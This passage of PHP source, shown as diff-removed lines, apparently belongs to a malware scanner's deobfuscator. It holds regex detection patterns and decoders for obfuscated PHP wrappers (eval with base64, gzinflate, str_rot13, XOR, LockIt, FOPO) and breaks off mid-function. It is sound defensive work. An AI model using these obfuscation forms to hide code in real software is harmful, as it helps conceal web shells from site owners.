- foreach ($matches as $match) {
- $vars[$match[1]] = stripcslashes($match[2]);
- }
- preg_match_all('~(\$\w{1,40})\s*=\s*\'(([^\'\\\\]++|\\\\.)*)\';~msi', $res, $matches, PREG_SET_ORDER);
- foreach ($matches as $match) {
- $vars[$match[1]] = Helpers::stripsquoteslashes($match[2]);
- }
- preg_match('~(\$\w{1,40})\s*=\s*\"\\\\x73\\\\164\\\\x72\\\\137\\\\x72\\\\145\\\\x70\\\\154\\\\x61\\\\143\\\\x65";\s(\$\w{1,40})\s=\s\'(([^\'\\\\]++|\\\\.)*)\';\seval\(\1\(\"(([^\"\\\\]++|\\\\.)*)\",\s\"(([^\"\\\\]++|\\\\.)*)\",\s\2\)\);~msi', $res, $matches);
- $matches[7] = stripcslashes($matches[7]);
- $matches[3] = Helpers::stripsquoteslashes(str_replace($matches[5], $matches[7], $matches[3]));
- $res = str_replace($matches[0], $matches[3], $res);
- preg_match_all('~(\$\w{1,40})\s*=\s*\"(([^\"\\\\]++|\\\\.)*)\";~msi', $res, $matches, PREG_SET_ORDER);
- foreach ($matches as $match) {
- $vars[$match[1]] = stripcslashes($match[2]);
- }
- preg_match_all('~(\$\w{1,40})\s*=\s*\'(([^\'\\\\]++|\\\\.)*)\';~msi', $res, $matches, PREG_SET_ORDER);
- foreach ($matches as $match) {
- $vars[$match[1]] = Helpers::stripsquoteslashes($match[2]);
- }
- preg_match('~\$\w{1,40}\s=\sarray\(((\'(([^\'\\\\]++|\\\\.)*)\',?(\.(\$\w{1,40})\.)?)+)\);~msi', $res, $matches);
- foreach ($vars as $var => $value) {
- $matches[1] = str_replace("'." . $var . ".'", $value, $matches[1]);
- }
- $array2 = explode("','", substr($matches[1], 1, -1));
- preg_match('~eval\(\$\w{1,40}\(array\((((\"[^\"]\"+),?+)+)\),\s(\$\w{1,40}),\s(\$\w{1,40})\)\);~msi', $res, $matches);
- $array1 = explode('","', substr($matches[1], 1, -1));
- $temp = array_keys($vars);
- $temp = $temp[9];
- $arr = explode('|', $vars[$temp]);
- $off=0;
- $funcs=array();
- for ($i = 0, $iMax = sizeof($arr); $i < $iMax; $i++) {
- if ($i == 0) {
- $off = 0;
- } else {
- $off = $arr[$i - 1] + $off;
- }
- $len = $arr[$i];
- $temp = array_keys($vars);
- $temp = $temp[7];
- $funcs[]= substr($vars[$temp], $off, $len);
- }
- for ($i = 0; $i < 5; $i++) {
- if ($i % 2 == 0) {
- $funcs[$i] = strrev($funcs[$i]);
- $g = substr($funcs[$i], strpos($funcs[$i], "9") + 1);
- $g = stripcslashes($g);
- $v = explode(":", substr($funcs[$i], 0, strpos($funcs[$i], "9")));
- for ($j = 0, $jMax = sizeof($v); $j < $jMax; $j++) {
- $q = explode("|", $v[$j]);
- $g = str_replace($q[0], $q[1], $g);
- }
- $funcs[$i] = $g;
- } else {
- $h = explode("|", strrev($funcs[$i]));
- $d = explode("*", $h[0]);
- $b = $h[1];
- for ($j = 0, $jMax = sizeof($d); $j < $jMax; $j++) {
- $b = str_replace($j, $d[$j], $b);
- }
- $funcs[$i] = $b;
- }
- }
- $temp = array_keys($vars);
- $temp = $temp[8];
- $funcs[] = str_replace('9', ' ', strrev($vars[$temp]));
- $funcs = implode("\n", $funcs);
- preg_match('~\$\w{1,40}\s=\s\'.+?eval\([^;]+;~msi', $res, $matches);
- $res = str_replace($matches[0], $funcs, $res);
- $res = stripcslashes($res);
- $res = str_replace('}//}}', '}}', $res);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateXoredVar($str, $matches)
- {
- $res = $str;
- $find = $matches[0];
- preg_match_all('~(\$\w{1,40})\s*=\s*\'((\\\\.|[^\'])*)\';~msi', $str, $matches, PREG_SET_ORDER);
- $vars = array();
- foreach ($matches as $match) {
- $vars[$match[1]]=$match[2];
- }
- preg_match_all('~(\$\w{1,40})\s*=\s*\'((\\\\.|[^\'])*)\'\^(\$\w+);~msi', $str, $matches, PREG_SET_ORDER);
- foreach ($matches as $match) {
- if (isset($vars[$match[4]])) {
- $vars[$match[1]]=$match[2]^$vars[$match[4]];
- $res = str_replace($match[0], $match[1] . "='" . $vars[$match[1]] . "';", $res);
- }
- }
- preg_match_all('~(\$\w{1,40})\s*=\s*(\$\w+)\^\'((\\\\.|[^\'])*)\';~msi', $res, $matches, PREG_SET_ORDER);
- foreach ($matches as $match) {
- if (isset($vars[$match[2]])) {
- $vars[$match[1]]=$match[4]^$vars[$match[2]];
- $res = str_replace($match[0], $match[1] . "='" . $vars[$match[1]] . "';", $res);
- }
- }
- preg_match_all('~\'((\\\\.|[^\'])*)\'\^(\$\w+)~msi', $res, $matches, PREG_SET_ORDER);
- foreach ($matches as $match) {
- if (isset($vars[$match[3]])) {
- $res = str_replace($match[0], "'" . addcslashes($match[1]^$vars[$match[3]], '\\\'') . "'", $res);
- }
- }
- foreach ($vars as $var => $value) {
- $res = str_replace($var, $value, $res);
- $res = str_replace($value . "='" . $value . "';", '', $res);
- }
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscatePhpMess($str, $matches)
- {
- $res = base64_decode(gzuncompress(base64_decode(base64_decode($matches[4]))));
- $res = str_replace($matches[0], $res, $str);
- return $res;
- }
- private function deobfuscatePregReplaceSample05($str)
- {
- $res = '';
- preg_match('~(\$\w{1,40})\s*=\s*\"([^\"]+)\";\s*\$\w+\s*=\s*\$\w+\(\1,\"([^\"]+)\",\"([^\"]+)\"\);\s*\$\w+\(\"[^\"]+\",\"[^\"]+\",\"\.\"\);~msi', $str, $matches);
- $res = strtr($matches[2], $matches[3], $matches[4]);
- $res = base64_decode($res);
- $res = str_replace($matches[0], $res, $str);
- return $res;
- }
- private function deobfuscatePregReplaceB64($str, $matches)
- {
- $find = $matches[0];
- $res = str_replace($find, base64_decode($matches[4]), $str);
- $res = stripcslashes($res);
- preg_match('~eval\(\${\$\{"GLOBALS"\}\[\"\w+\"\]}\(\${\$\{"GLOBALS"\}\[\"\w+\"]}\(\"([^\"]+)\"\)\)\);~msi', $res, $matches);
- $res = gzuncompress(base64_decode($matches[1]));
- preg_match('~eval\(\$\w+\(\$\w+\("([^"]+)"\)\)\);~msi', $res, $matches);
- $res = gzuncompress(base64_decode($matches[1]));
- preg_match('~eval\(\$\w+\(\$\w+\("([^"]+)"\)\)\);~msi', $res, $matches);
- $res = gzuncompress(base64_decode($matches[1]));
- preg_match_all('~\$(\w+)\s*(\.)?=\s*("[^"]*"|\$\w+);~msi', $res, $matches, PREG_SET_ORDER);
- $var = $matches[0][1];
- $vars = array();
- foreach ($matches as $match) {
- if($match[2]!=='.') {
- $vars[$match[1]] = substr($match[3], 1, -1);
- }
- else {
- $vars[$match[1]] .= $vars[substr($match[3], 1)];
- }
- }
- $res = str_replace("srrKePJUwrMZ", "=", $vars[$var]);
- $res = gzuncompress(base64_decode($res));
- preg_match_all('~function\s*(\w+)\(\$\w+,\$\w+\)\{.+?}\s*};\s*eval\(((\1\(\'(\w+)\',)+)\s*"([\w/\+]+)"\)\)\)\)\)\)\)\);~msi', $res, $matches);
- $decode = array_reverse(explode("',", str_replace($matches[1][0] . "('", '', $matches[2][0])));
- array_shift($decode);
- $arg = $matches[5][0];
- foreach ($decode as $val) {
- $arg = Helpers::someDecoder2($val, $arg);
- }
- $res = $arg;
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateDecoder($str)
- {
- preg_match('~if\(!function_exists\(\"(\w+)\"\)\){function \1\(.+eval\(\1\(\"([^\"]+)\"\)\);~msi', $str, $matches);
- $res = Helpers::someDecoder($matches[2]);
- $res = str_replace($matches[0], $res, $str);
- return $res;
- }
- private function deobfuscateGBE($str)
- {
- preg_match('~(\$\w{1,40})=\'([^\']+)\';\1=gzinflate\(base64_decode\(\1\)\);\1=str_replace\(\"__FILE__\",\"\'\$\w+\'\",\1\);eval\(\1\);~msi', $str, $matches);
- $res = str_replace($matches[0], gzinflate(base64_decode($matches[2])), $str);
- return $res;
- }
- private function deobfuscateGBZ($str, $matches)
- {
- $res = str_replace($matches[0], base64_decode(str_rot13($matches[4])), $str);
- return $res;
- }
- private function deobfuscateBitrix($str, $matches)
- {
- $find = $matches[0];
- $res = $str;
- $funclist = array();
- $strlist = array();
- $res = preg_replace("|[\"']\s*\.\s*['\"]|smi", '', $res);
- $hangs = 0;
- while (preg_match('~(?:min|max|round)?\(\s*\d+[\.\,\|\s\|+\|\-\|\*\|\/]([\d\s\.\,\+\-\*\/]+)?\)~msi', $res) && $hangs < 15) {
- $res = preg_replace_callback('~(?:min|max|round)?\(\s*\d+[\.\,\|\s\|+\|\-\|\*\|\/]([\d\s\.\,\+\-\*\/]+)?\)~msi', array("Helpers","calc"), $res);
- $hangs++;
- }
- $res = preg_replace_callback(
- '|base64_decode\(["\'](.*?)["\']\)|smi',
- function ($matches) {
- return '"' . base64_decode($matches[1]) . '"';
- },
- $res
- );
- if (preg_match_all('|\$GLOBALS\[[\'"](.+?)[\'"]\]\s*=\s*Array\((.+?)\);|smi', $res, $founds, PREG_SET_ORDER)) {
- foreach ($founds as $found) {
- $varname = $found[1];
- $funclist[$varname] = explode(',', $found[2]);
- $funclist[$varname] = array_map(function ($value) {
- return trim($value, "'\"");
- }, $funclist[$varname]);
- $res = preg_replace_callback(
- '|\$GLOBALS\[[\'"]' . $varname . '[\'"]\]\[(\d+)\]|smi',
- function ($matches) use ($varname, $funclist) {
- return str_replace(array('"',"'"), '', $funclist[$varname][$matches[1]]);
- },
- $res
- );
- $res = str_replace($found[0], '', $res);
- }
- }
- $array_temp = [];
- if (preg_match_all('~function\s*(\w{1,60})\(\$\w+\){\$\w{1,60}\s*=\s*Array\((.{1,30000}?)\);\s*return\s*base64_decode[^}]+}~msi', $res, $founds, PREG_SET_ORDER)) {
- foreach ($founds as $found) {
- $strlist = explode(',', $found[2]);
- $array_temp[$found[1]] = array_map('base64_decode', $strlist);
- $res = preg_replace_callback(
- '|' . $found[1] . '\((\d+)\)|smi',
- function ($matches) use ($strlist) {
- return "'" . base64_decode($strlist[$matches[1]]) . "'";
- },
- $res
- );
- $res = str_replace($found[0], '', $res);
- }
- }
- $res = preg_replace('~\'\s*\.\s*\'~', '', $res);
- if (preg_match_all('~\s*function\s*(_+(.{1,60}?))\(\$[_0-9]+\)\s*\{\s*static\s*\$([_0-9]+)\s*=\s*(true|false);.{1,30000}?\$\3\s*=\s*array\((.*?)\);\s*return\s*base64_decode\(\$\3~smi', $res, $founds, PREG_SET_ORDER)) {
- foreach ($founds as $found) {
- $strlist = explode('",', $found[5]);
- $strlist = implode("',", $strlist);
- $strlist = explode("',", $strlist);
- $res = preg_replace_callback(
- '|' . $found[1] . '\((\d+(\.\d+)?)\)|sm',
- function ($matches) use ($strlist) {
- $ret = base64_decode($strlist[$matches[1]]);
- if (!$ret) {
- $ret = $strlist[$matches[1]];
- }
- return '\'' . $ret . '\'';
- },
- $res
- );
- }
- }
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateLockIt($str)
- {
- preg_match('~(\$[O0]*=__FILE__;)?\$[O0]*=urldecode\(\'[%a-f0-9]+\'\);(\$(GLOBALS\[\')?[O0]*(\'\])?=(\d+);)?\s*(\$(GLOBALS\[\')?[O0]*(\'\])?\.?=(\$(GLOBALS\[\')?[O0]*(\'\])?([\{\[]\d+[\}\]])?\.?)+;)+[^\?]+\?\>[\s\w\~\=\/\+\\\\\^\{\`\%]+~msi', $str, $matches);
- $find = $matches[0];
- $prefix = $matches[1];
- $obfPHP = $str;
- $phpcode = base64_decode(Helpers::getTextInsideQuotes(Helpers::getEvalCode($obfPHP)));
- $hexvalues = Helpers::getHexValues($phpcode);
- $tmp_point = Helpers::getHexValues($obfPHP);
- if (isset($tmp_point[0]) && $tmp_point[0]!=='') {
- $pointer1 = hexdec($tmp_point[0]);
- }
- if (isset($matches[5]) && $matches[5]!=='') {
- $pointer1 = $matches[5];
- }
- $needles = Helpers::getNeedles($phpcode);
- if ($needles[2]=='__FILE__') {
- $needle = $needles[0];
- $before_needle = $needles[1];
- preg_match('~\$_F=__FILE__;\$_X=\'([^\']+)\';\s*eval\s*\(\s*\$?\w{1,60}\s*\(\s*[\'"][^\'"]+[\'"]\s*\)\s*\)\s*;~msi', $str, $matches);
- $res = base64_decode($matches[1]);
- $phpcode = strtr($res, $needle, $before_needle);
- } else {
- $needle = $needles[count($needles) - 2];
- $before_needle = end($needles);
- if (preg_match('~\$\w{1,40}\s*=\s*__FILE__;\s*\$\w{1,40}\s*=\s*([\da-fx]+);\s*eval\s*\(\$?\w+\s*\([\'"][^\'"]+[\'"]\)\);\s*return\s*;\s*\?>(.+)~msi', $str, $matches)) {
- $pointer1 = $matches[1];
- if (strpos($pointer1, '0x')!==false) {
- $pointer1 = hexdec($pointer1);
- }
- }
- $temp = strtr($obfPHP, $needle, $before_needle);
- $end = 8;
- for ($i = strlen($temp) - 1; $i > strlen($temp) - 15; $i--) {
- if ($temp[$i] == '=') {
- $end = strlen($temp) - 1 - $i;
- }
- }
- $phpcode = base64_decode(substr($temp, strlen($temp) - $pointer1 - $end, $pointer1));
- }
- $phpcode = str_replace($find, $prefix . $phpcode, $str);
- return $phpcode;
- }
- private function deobfuscateB64inHTML($str, $matches)
- {
- $obfPHP = $str;
- $phpcode = base64_decode(Helpers::getTextInsideQuotes(Helpers::getEvalCode($obfPHP)));
- $needles = Helpers::getNeedles($phpcode);
- $needle = $needles[count($needles) - 2];
- $before_needle = end($needles);
- $pointer1 = $matches[2];
- $temp = strtr($obfPHP, $needle, $before_needle);
- $end = 8;
- for ($i = strlen($temp) - 1; $i > strlen($temp) - 15; $i--) {
- if ($temp[$i] == '=') {
- $end = strlen($temp) - 1 - $i;
- }
- }
- $phpcode = base64_decode(substr($temp, strlen($temp) - $pointer1 - ($end-1), $pointer1));
- $phpcode = str_replace($matches[0], $phpcode, $str);
- return $phpcode;
- }
- private function deobfuscateStrtrFread($str, $layer2)
- {
- $str = explode('?>', $str);
- $str = end($str);
- $res = substr($str, $layer2[1], strlen($str));
- $res = base64_decode(strtr($res, $layer2[2], $layer2[3]));
- $res = str_replace($layer2[0], $res, $str);
- return $res;
- }
- private function deobfuscateStrtrBase64($str, $matches)
- {
- $str = strtr($matches[2], $matches[3], $matches[4]);
- $res = base64_decode($str);
- $res = str_replace($matches[0], $res, $str);
- return $res;
- }
- private function deobfuscateByteRun($str)
- {
- preg_match('~\$_F=__FILE__;\$_X=\'([^\']+)\';\s*eval\s*\(\s*\$?\w{1,60}\s*\(\s*[\'"][^\'"]+[\'"]\s*\)\s*\)\s*;~msi', $str, $matches);
- $res = base64_decode($matches[1]);
- $res = strtr($res, '123456aouie', 'aouie123456');
- $res = str_replace($matches[0], $res, $str);
- return $res;
- }
- private function deobfuscateExplodeSubst($str, $matches)
- {
- $find = $matches[0];
- $res = $str;
- preg_match_all('~function ([\w_]+)\(~msi', $res, $funcs);
- preg_match('~(\$_\w+\[\w+\])\s*=\s*explode\(\'([^\']+)\',\s*\'([^\']+)\'\);.+?(\1\[[a-fx\d]+\])\(\);~msi', $res, $matches);
- $subst_array = explode($matches[2], $matches[3]);
- $subst_var = $matches[1];
- $res = preg_replace_callback('~((\$_GET\[[O0]+\])|(\$[O0]+))\[([a-fx\d]+)\]~msi', function ($matches) use ($subst_array, $funcs) {
- if (function_exists($subst_array[hexdec($matches[4])]) || in_array($subst_array[hexdec($matches[4])], $funcs[1])) {
- return $subst_array[hexdec($matches[4])];
- } else {
- return "'" . $subst_array[hexdec($matches[4])] . "'";
- }
- }, $res);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateSubst($str, $matches)
- {
- $find = $matches[0];
- $res = $str;
- $alph = stripcslashes($matches[2]);
- $funcs = $matches[4];
- for ($i = 0, $iMax = strlen($alph); $i < $iMax; $i++) {
- $res = str_replace($matches[1] . '[' . $i . '].', "'" . $alph[$i] . "'", $res);
- $res = str_replace($matches[1] . '[' . $i . ']', "'" . $alph[$i] . "'", $res);
- }
- $res = str_replace("''", '', $res);
- $var = $matches[3];
- preg_match_all('~\\' . $var . '\[\]\s*=\s*\'([\w\*\-\#]+)\'~msi', $res, $matches);
- for ($i = 0, $iMax = count($matches[1]); $i <= $iMax; $i++) {
- if (@function_exists($matches[1][$i])) {
- $res = str_replace($var . '[' . $i . ']', $matches[1][$i], $res);
- } else {
- $res = @str_replace($var . '[' . $i . ']', "'" . $matches[1][$i] . "'", $res);
- }
- }
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateUrldecode($str)
- {
- preg_match('~(\$\w+=\'[^\']+\';\s*)+(\$[\w{1,40}]+)=(urldecode|base64_decode){0,1}\(?[\'"]([\w+%=-]+)[\'"]\)?;(\$[\w+]+=(\$(\w+\[\')?[O_0]*(\'\])?([\{\[]\d+[\}\]])?\.?)+;)+[^\?]+(\?\>[\w\~\=\/\+]+|.+\\\\x[^;]+;)~msi', $str, $matches);
- $find = $matches[0];
- $res = $str;
- $res = stripcslashes($res);
- if ($matches[3] == "urldecode") {
- $alph = urldecode($matches[4]);
- $res = str_replace('urldecode(\'' . $matches[4] . '\')', "'" . $alph . "'", $res);
- } elseif ($matches[3] == 'base64_decode') {
- $alph = base64_decode($matches[4]);
- $res = str_replace('base64_decode(\'' . $matches[4] . '\')', "'" . $alph . "'", $res);
- } else {
- $alph = $matches[4];
- }
- for ($i = 0, $iMax = strlen($alph); $i < $iMax; $i++) {
- $res = str_replace($matches[2] . '[' . $i . '].', "'" . $alph[$i] . "'", $res);
- $res = str_replace($matches[2] . '[' . $i . ']', "'" . $alph[$i] . "'", $res);
- $res = str_replace($matches[2] . '{' . $i . '}.', "'" . $alph[$i] . "'", $res);
- $res = str_replace($matches[2] . '{' . $i . '}', "'" . $alph[$i] . "'", $res);
- }
- $res = str_replace("''", '', $res);
- preg_match_all('~\$(\w+)\s*=\s*\'([\w\*\-\#]+)\'~msi', $res, $matches, PREG_SET_ORDER);
- for ($i = 0, $iMax = count($matches); $i < $iMax; $i++) {
- if (@function_exists($matches[$i][2])) {
- $res = str_replace('$' . $matches[$i][1], $matches[$i][2], $res);
- $res = str_replace('${"GLOBALS"}["' . $matches[$i][1] . '"]', $matches[$i][2], $res);
- } else {
- $res = str_replace('$' . $matches[$i][1], "'" . $matches[$i][2] . "'", $res);
- $res = str_replace('${"GLOBALS"}["' . $matches[$i][1] . '"]', "'" . $matches[$i][2] . "'", $res);
- }
- $res = str_replace("'" . $matches[$i][2] . "'='" . $matches[$i][2] . "';", '', $res);
- $res = str_replace($matches[$i][2] . "='" . $matches[$i][2] . "';", '', $res);
- $res = str_replace($matches[$i][2] . "=" . $matches[$i][2] . ';', '', $res);
- }
- $res = Helpers::replaceCreateFunction($res);
- preg_match('~\$([0_O]+)\s*=\s*function\s*\((\$\w+)\)\s*\{\s*\$[O_0]+\s*=\s*substr\s*\(\2,(\d+),(\d+)\);\s*\$[O_0]+\s*=\s*substr\s*\(\2,([\d-]+)\);\s*\$[O_0]+\s*=\s*substr\s*\(\2,(\d+),strlen\s*\(\2\)-(\d+)\);\s*return\s*gzinflate\s*\(base64_decode\s*\(\$[O_0]+\s*\.\s*\$[O_0]+\s*\.\s*\$[O_0]+\)+;~msi', $res, $matches);
- $res = preg_replace_callback('~\$\{"GLOBALS"}\["' . $matches[1] . '"\]\s*\(\'([^\']+)\'\)~msi', function ($calls) use ($matches) {
- $temp1 = substr($calls[1], $matches[3], $matches[4]);
- $temp2 = substr($calls[1], $matches[5]);
- $temp3 = substr($calls[1], $matches[6],strlen($calls[1]) - $matches[7]);
- return "'" . gzinflate(base64_decode($temp1 . $temp3 . $temp2)) . "'";
- }, $res);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- public function unwrapFuncs($string, $level = 0)
- {
- $close_tag = false;
- $res = '';
- if (trim($string) == '') {
- return '';
- }
- if ($level > 100) {
- return '';
- }
- if ((($string[0] == '\'') || ($string[0] == '"')) && (substr($string, 1, 2) != '?>')) {
- if($string[0] == '"' && preg_match('~\\\\x\d+~', $string)) {
- return stripcslashes($string);
- } else {
- return substr($string, 1, -2);
- }
- } elseif ($string[0] == '$') {
- preg_match('~\$\w{1,40}~', $string, $string);
- $string = $string[0];
- $matches = array();
- if (!@preg_match_all('~\\' . $string . '\s*=\s*("((.*?[^\\\\])??((\\\\\\\\)+)?+)");~msi', $this->full_source, $matches)) {
- @preg_match_all('~\\' . $string . '\s*=\s*(\'((.*?[^\\\\])??((\\\\\\\\)+)?+)\');~msi', $this->full_source, $matches);
- $str = @$matches[1][0];
- } else {
- $str = $matches[1][0];
- }
- $this->cur = str_replace($matches[0][0], '', $this->cur);
- $this->text = str_replace($matches[0][0], '', $this->text);
- return substr($str, 1, -1);
- } else {
- $pos = strpos($string, '(');
- $function = substr($string, 0, $pos);
- $arg = $this->unwrapFuncs(substr($string, $pos + 1), $level + 1);
- if (strpos($function, '?>') !== false) {
- $function = str_replace("'?>'.", "", $function);
- $function = str_replace('"?>".', "", $function);
- $function = str_replace("'?>' .", "", $function);
- $function = str_replace('"?>" .', "", $function);
- $close_tag = true;
- }
- $function = str_replace(array('@',' '), '', $function);
- $safe = Helpers::isSafeFunc($function);
- if ($safe) {
- if ($function == 'pack') {
- $args = explode(',', $arg);
- $args[0] = substr(trim($args[0]), 0, -1 );
- $args[1] = substr(trim($args[1]), 1);
- $res = @$function($args[0], $args[1]);
- } else {
- $res = @$function($arg);
- }
- } else {
- $res = $arg;
- }
- if ($close_tag) {
- $res = "?> " . $res;
- $close_tag = false;
- }
- return $res;
- }
- }
- private function deobfuscateEvalFunc($str)
- {
- $res = $str;
- $res = stripcslashes($res);
- preg_match('~function\s*(\w{1,40})\((\$\w{1,40})\)\s*\{\s*(\$\w{1,40})\s*=\s*\"base64_decode\";\s*(\$\w{1,40})\s*=\s*\"gzinflate\";\s*return\s*\4\(\3\(\2\)\);\s*\}\s*\$\w{1,40}\s*=\s*\"[^\"]*\";\s*\$\w{1,40}\s*=\s*\"[^\"]*\";\s*eval\(\1\(\"([^\"]*)\"\)\);~msi', $res, $matches);
- $res = gzinflate(base64_decode($matches[5]));
- $res = str_replace($str, $res, $str);
- return $res;
- }
- private function deobfuscateEvalConcatFunc($str, $matches)
- {
- $res = $matches[2];
- if (str_replace('"."', '', $matches[6]) === '"create_function"') {
- $brackets = '';
- $res = preg_replace_callback('~[\w."]+\(~', function ($match) use (&$brackets) {
- $replace = strtolower(str_replace('"."', '', $match[0]));
- if (strpos($replace, 'eval') === false) {
- $brackets .= ')';
- return $replace;
- }
- return "";
- }, $res);
- $res .= "'$matches[4]'" . $brackets . ';';
- $res = $this->unwrapFuncs($res);
- }
- return $res;
- }
- private function deobfuscateEvalHex($str)
- {
- preg_match('~eval\s*\("(\\\\x?\d+[^"]+)"\);~msi', $str, $matches);
- $res = stripcslashes($matches[1]);
- $res = str_replace($matches[1], $res, $res);
- $res = str_replace($matches[0], $res, $str);
- return $res;
- }
- private function deobfuscateEvalVarConcat($str, $matches)
- {
- $find = $matches[0];
- $res = $str;
- preg_match_all('~(\$\w+)\s*\.=\s*"([^"]+)";~msi', $str, $matches, PREG_SET_ORDER);
- $vars = [];
- foreach ($matches as $match) {
- $res = str_replace($match[0], '', $res);
- $res = str_replace($match[1], '"' . $match[2] . '"', $res);
- }
- $res = preg_replace('/[\'"]\s*?\.+\s*?[\'"]/smi', '', $res);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateEvalVar($str, $matches)
- {
- $find = $matches[0];
- $evalVar = $matches[7];
- if (!$evalVar) {
- $evalVar = $matches[6];
- $pregVal = '\$\w+';
- $pregStr = '[\'"]?([\/\w\+=]+)[\'"]?';
- $pregFunc = '(?:base64_decode\s*\(|gzinflate\s*\(|strrev\s*\(|str_rot13\s*\(|gzuncompress\s*\(|urldecode\s*\(|rawurldecode\s*\(|htmlspecialchars_decode\s*\()+(?:["\']([\/\w\+=]+)["\'])';
- while (preg_match('~str_replace\(["\']([\/\w]+)["\'],\s?["\']([\/\w\+=]+)["\'],\s?(?|(' . $pregVal . ')|(?:' . $pregStr . ')|(' . $pregFunc . '))\)~msi', $evalVar, $match)) {
- $result = $match[0];
- if (preg_match('~' . $pregVal . '~', $match[3], $arg)) {
- $result = str_replace($match[1], $match[2], $matches[3]);
- } elseif (preg_match('~' . $pregFunc . '~', $match[3], $arg)) {
- $unwrappedVar = $this->unwrapFuncs($arg[0]);
- $result = str_replace($match[1], $match[2], $unwrappedVar);
- } elseif (preg_match('~' . $pregStr . '~', $match[3], $arg)) {
- $result = str_replace($match[1], $match[2], $match[3]);
- }
- $evalVar = str_replace($match[0], "\"$result\"" . ')', $evalVar);
- }
- return $this->unwrapFuncs($matches[5] . $evalVar);
- }
- $val = '';
- if (!@preg_match_all('~\\' . $evalVar . '\s*=\s*("((.*?[^\\\\])??((\\\\\\\\)+)?+)");~msi', $str, $matches)) {
- @preg_match_all('~\\' . $evalVar . '\s*=\s*(\'((.*?[^\\\\])??((\\\\\\\\)+)?+)\');~msi', $str, $matches);
- $val = @$matches[1][0];
- } else {
- $val = $matches[1][0];
- }
- $res = str_replace($matches[0][0], '', $str);
- $val = substr($val, 1, -1);
- $text = "'" . addcslashes(stripcslashes($val), "\\'") . "'";
- $string = preg_replace('~\\' . $evalVar . '(?=[^a-zA-Z0-9])~ms', $text, $res);
- $string = preg_replace('~\(\s*\\' . $evalVar . '~msi', '(' . $text, $string);
- $res = str_replace($find, $string, $str);
- return $res;
- }
- private function deobfuscateEval($str, $matches)
- {
- $res = $str;
- if (preg_match('~(preg_replace\(["\']/\.\*?/[^"\']+["\']\s*,\s*)[^\),]+(?:[\)\\\\0-5]+;[\'"])?(,\s*["\'][^"\']*["\'])\)+;~msi', $res, $matches)) {
- $res = str_replace($matches[1], 'eval(', $res);
- $res = str_replace($matches[2], '', $res);
- return $res;
- }
- if (strpos($res, 'e\x76al') !== false
- || strpos($res, '\x29') !== false
- || strpos($res, 'base64_decode("\\x') !== false
- ) {
- $res = stripcslashes($res);
- }
- if (strpos($res, '"."') !== false) {
- $res = str_replace('"."', '', $res);
- }
- if (preg_match('~((\$\w+)\s*=\s*create_function\(\'\',\s*)[^\)]+\)+;\s*(\2\(\);)~msi', $res, $matches)) {
- $res = str_replace($matches[1], 'eval(', $res);
- $res = str_replace($matches[3], '', $res);
- return $res;
- }
- if (preg_match('~eval\s*/\*[\w\s\.:,]+\*/\s*\(~msi', $res, $matches)) {
- $res = str_replace($matches[0], 'eval(', $res);
- return $res;
- }
- preg_match('~@?(eval|echo)\s*\(\s*([\'"?>.\s]+)?@?\s*\(?\s*(base64_decode\s*\(|pack\s*\(\'H\*\',|convert_uudecode\s*\(|htmlspecialchars_decode\s*\(|stripslashes\s*\(|gzinflate\s*\(|strrev\s*\(|str_rot13\s*\(|gzuncompress\s*\(|urldecode\s*\(|rawurldecode\s*\(|eval\s*\()+.*?[^\'")]+((\s*\.?[\'"]([^\'";]+[\'"]*\s*)+)?\s*[\'"\);]+)+~msi', $res, $matches);
- $string = $matches[0];
- if (preg_match('~\$_(POST|GET|REQUEST|COOKIE)~ms', $res)) {
- return $res;
- }
- $string = substr($string, 5, strlen($string) - 7);
- $res = $this->unwrapFuncs($string);
- $res = str_replace($str, $res, $str);
- return $res;
- }
- private function deobfuscateEvalCodeFunc($str, $matches)
- {
- $res = substr($str, 5, strlen($str) - 7);
- $res = $this->unwrapFuncs($res);
- $res = stripcslashes($res);
- $res = str_replace($str, $res, $str);
- return $res;
- }
- private function deobfuscateEcho($str, $matches)
- {
- $res = $str;
- $string = $matches[0];
- if (preg_match('~\$_(POST|GET|REQUEST|COOKIE)~ms', $res)) {
- return $res;
- }
- $string = substr($string, 5, strlen($string) - 7);
- $res = $this->unwrapFuncs($string);
- $res = str_replace($str, $res, $str);
- return $res;
- }
- private function deobfuscateFOPO($str, $matches)
- {
- $phpcode = Helpers::formatPHP($str);
- $phpcode = base64_decode(Helpers::getTextInsideQuotes(Helpers::getEvalCode($phpcode)));
- if (preg_match('~eval\s*\(\s*\$[\w|]+\s*\(\s*\$[\w|]+\s*\(~msi', $phpcode)) {
- preg_match_all('~\$\w+\(\$\w+\(\$\w+\("[^"]+"\)+~msi', $phpcode, $matches2);
- @$phpcode = gzinflate(base64_decode(str_rot13(Helpers::getTextInsideQuotes(end(end($matches2))))));
- $old = '';
- $hangs = 0;
- while (($old != $phpcode) && (strlen(strstr($phpcode, 'eval($')) > 0) && $hangs < 30) {
- $old = $phpcode;
- $funcs = explode(';', $phpcode);
- if (count($funcs) == 5) {
- $phpcode = gzinflate(base64_decode(str_rot13(Helpers::getTextInsideQuotes(Helpers::getEvalCode($phpcode)))));
- } elseif (count($funcs) == 4) {
- $phpcode = gzinflate(base64_decode(Helpers::getTextInsideQuotes(Helpers::getEvalCode($phpcode))));
- }
- $hangs++;
- }
- $res = str_replace($matches[0], substr($phpcode, 2), $str);
- } else {
- $res = str_replace($matches[0], $phpcode, $str);
- }
- return $res;
- }
- private function deobfuscateFakeIonCube($str, $matches)
- {
- $subst_value = 0;
- $matches[1] = Helpers::calc($matches[1]);
- $subst_value = intval($matches[1])-21;
- $code = @pack("H*", preg_replace("/[A-Z,\r,\n]/", "", substr($str, $subst_value)));
- $res = str_replace($matches[0], $code, $str);
- return $res;
- }
- private function deobfuscateCobra($str, $matches)
- {
- $find = $matches[0];
- $res = $str;
- $res = preg_replace_callback(
- '~eval\(\"return strrev\(base64_decode\(\'([^\']+)\'\)\);\"\)~msi',
- function ($matches) {
- return strrev(base64_decode($matches[1]));
- },
- $res
- );
- $res = preg_replace_callback(
- '~eval\(gzinflate\(base64_decode\(\.\"\'([^\']+)\'\)\)\)\;~msi',
- function ($matches) {
